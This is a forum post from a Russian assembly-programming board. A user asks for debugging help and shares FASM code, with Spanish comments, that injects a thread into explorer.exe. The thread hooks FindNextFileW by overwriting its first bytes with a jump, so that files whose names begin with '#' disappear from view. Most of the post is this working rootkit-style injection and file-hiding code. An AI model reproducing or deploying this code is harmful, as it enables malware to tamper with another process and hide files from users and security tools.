Где ошибка?

Тема в разделе "WASM.ASSEMBLER", создана пользователем HPC, 1 июл 2011.

  1. HPC

    HPC New Member

    Публикаций:
    0
    Регистрация:
    30 мар 2011
    Сообщения:
    37
    Всем доброго.
    Имеется небольшой пример,програма создает поток в explorer.exe и перехватывает
    FindNextFile.Вобщем прячет все файлы в начале имени которых есть символ '#'
    Всё вроде рабит норм,поток создается,фаилы скрывает.
    Не могу вот только понять почему когда пытаешся удалить какойнибудь фаил(любой) всё летит к чертям.
    Будьте добры подскажите где ошибочка.

    Код (Text):
    1.    include 'win32ax.inc'
    2.  
    3. .code
    4. proc start
    5.     locals
    6.         ProcessName        db        "explorer.exe",0
    7.     endl
    8.  
    9.     stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
    10.     cmp eax,-1
    11.     jne salir
    12.  
    13.     invoke MessageBoxA,0,"No se encontrу el proceso!",0,0
    14.  
    15.     salir:
    16.     invoke ExitProcess,0
    17. endp
    18.  
    19. proc Inyectar,ProcessName,Tamaсo,Funcion,Datos
    20.     locals
    21.         struct PROCESSENTRY32
    22.             dwSize                  dd ?
    23.             cntUsage                dd ?
    24.             th32ProcessID           dd ?
    25.             th32DefaultHeapID       dd ?
    26.             th32ModuleID            dd ?
    27.             cntThreads              dd ?
    28.             th32ParentProcessID     dd ?
    29.             pcPriClassBase          dd ?
    30.             dwFlags                 dd ?
    31.             szExeFile               rb MAX_PATH
    32.         ends
    33.  
    34.         pInfo                   PROCESSENTRY32                  ?
    35.         Handle                  dd                              ?
    36.         PID                     dd                              ?
    37.         DirFuncion              dd                              ?
    38.         hProcess                dd                              ?
    39.     endl
    40.  
    41.     pushad
    42.  
    43.     ;Obtenemos el PID del proceso
    44.     invoke CreateToolhelp32Snapshot,0x00000002,0
    45.     mov [Handle],eax
    46.  
    47.      mov eax,sizeof.PROCESSENTRY32
    48.      mov [pInfo.dwSize], eax
    49.  
    50.     BuclePid:
    51.         invoke Process32Next,[Handle],addr pInfo
    52.         cmp eax,0
    53.         je FinProcBuclePID ;No hay mбs procesos
    54.         invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
    55.         cmp eax,0
    56.         jne BuclePid
    57.         jmp FinBuclePid
    58.  
    59.     FinProcBuclePID:
    60.     invoke CloseHandle,[Handle]
    61.     popad
    62.     mov eax,-1
    63.     ret
    64.  
    65.     FinBuclePid:
    66.     invoke CloseHandle,[Handle]
    67.     push [pInfo.th32ProcessID]
    68.     pop [PID]
    69.  
    70.     ;Lazamos el proceso
    71.     invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
    72.     mov [hProcess],eax
    73.  
    74.     ;Reservamos espacio en el proceso
    75.     invoke VirtualAllocEx,[hProcess],0,[Tamaсo],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
    76.     mov [DirFuncion],eax
    77.  
    78.     ;Escribimos los datos en memoria
    79.     invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaсo],0
    80.  
    81.     ;Creamos el hilo
    82.     invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
    83.     popad
    84.     mov eax,1
    85.     ret
    86. endp
    87.  
    88. proc FuncionInyectada,pGetProcAddress
    89.  
    90.      locals
    91.          BaseKernel32                   dd               ?
    92.          OriginalProtection             dd               ?
    93.      endl
    94.  
    95.      ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    96.      xor  eax, eax
    97.      add  eax,[fs:eax+30h]
    98.      mov  eax, [eax + 0ch]
    99.      mov  esi, [eax + 1ch]
    100.      lodsd
    101.      mov  eax, [eax + 08h]
    102.      mov [BaseKernel32],eax
    103.  
    104.      ;Obtenemos la direcciуn de FindNextFileA
    105.      stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
    106.      mov ebx,eax
    107.  
    108.      stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    109.      stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
    110.  
    111.      ;Calculamos el delta offset
    112.      call delta
    113.      delta:
    114.      pop edx
    115.      sub edx,delta  ;edx=delta
    116.  
    117.      ;Lo guardamos en la pila
    118.      push edx
    119.  
    120.      ;Guardamos la direcciуn de FindNextFileW en la variable dirFindNextFileW
    121.      add edx,dirFindNextFileW
    122.      mov dword[edx],ebx
    123.  
    124.      pop edx
    125.  
    126.      mov ecx,edx
    127.      add ecx,ApiOriginal
    128.      mov al,byte[ebx]
    129.      mov byte[ecx],al
    130.      mov byte[ebx],0xE9   ;0xE9=jmp
    131.      inc ebx
    132.      inc ecx
    133.  
    134.      mov eax,dword[ebx]
    135.      mov dword[ecx],eax
    136.      mov eax,FuncionHook
    137.      add eax,edx
    138.      sub eax,ebx
    139.      sub eax,4
    140.      mov dword[ebx],eax   ;la direcciуn a la que saltarб
    141.  
    142.      add ebx,4
    143.      add ecx,4
    144.  
    145.      mov ax,word[ebx]
    146.      mov word[ecx],ax
    147.  
    148.      mov word[ebx],0x9090
    149.  
    150.      ret          ;Terminamos, ya hemos modificado el principio de la api,
    151.                   ;cuando el programa llame a FindNextFileW, saltarб a FuncionHook
    152.  
    153. ;--------------------------------------------------------------------------------------------------------------------------------------------
    154.  
    155.      ;Contiene los 7 primeros bytes de la Api FindNextFileW y una rutina para saltar a FindNextFileW+7
    156.      ApiOriginal:
    157.          ;edx=delta
    158.          ;7 nops que cambiaremos en tiempo de ejecuciуn por los 7 primeros bytes de FindNextFileW
    159.          nop
    160.          nop
    161.          nop
    162.          nop
    163.          nop
    164.          nop
    165.          nop
    166.  
    167.          add edx,dirFindNextFileW  ;Obtenemos la direcciуn de FindNextFileW leyendo
    168.          mov eax,dword[edx]      ;la variable dirFindNextFileW y la guardamos en eax
    169.          add eax,7           ;Nos desplazamos 7 bytes
    170.          jmp eax             ;Saltamos a FindNextFileW+7
    171.  
    172. ;--------------------------------------------------------------------------------------------------------------------------------------------
    173.  
    174.      ;Funciуn a la que salta el programa cuando se llama a la API hookeada
    175.      proc FuncionHook,hFindFile,lpFindFileData
    176.          Volver:
    177.          ;Obtenemos el delta offset
    178.          call delta2
    179.          delta2:
    180.          pop edx
    181.          sub edx,delta2
    182.  
    183.          ;Llamamos a nuestro buffer
    184.          push [lpFindFileData]
    185.          push [hFindFile]
    186.          mov ecx,edx
    187.          add ecx,ApiOriginal
    188.          call ecx
    189.          cmp eax,0
    190.          je Retornar
    191.  
    192.          mov ebx,[lpFindFileData]
    193.          add ebx,44
    194.          cmp byte[ebx],'#'
    195.          jne Retornar
    196.  
    197.          jmp Volver
    198.  
    199.          Retornar:
    200.          ret
    201.     endp
    202. ;-------------------------------------------------------------------------------------------------------------------------------------------
    203.  
    204.          dirFindNextFileW                  dd                      ?
    205. endp
    206.  
    207. FINFuncion:
    208. .end start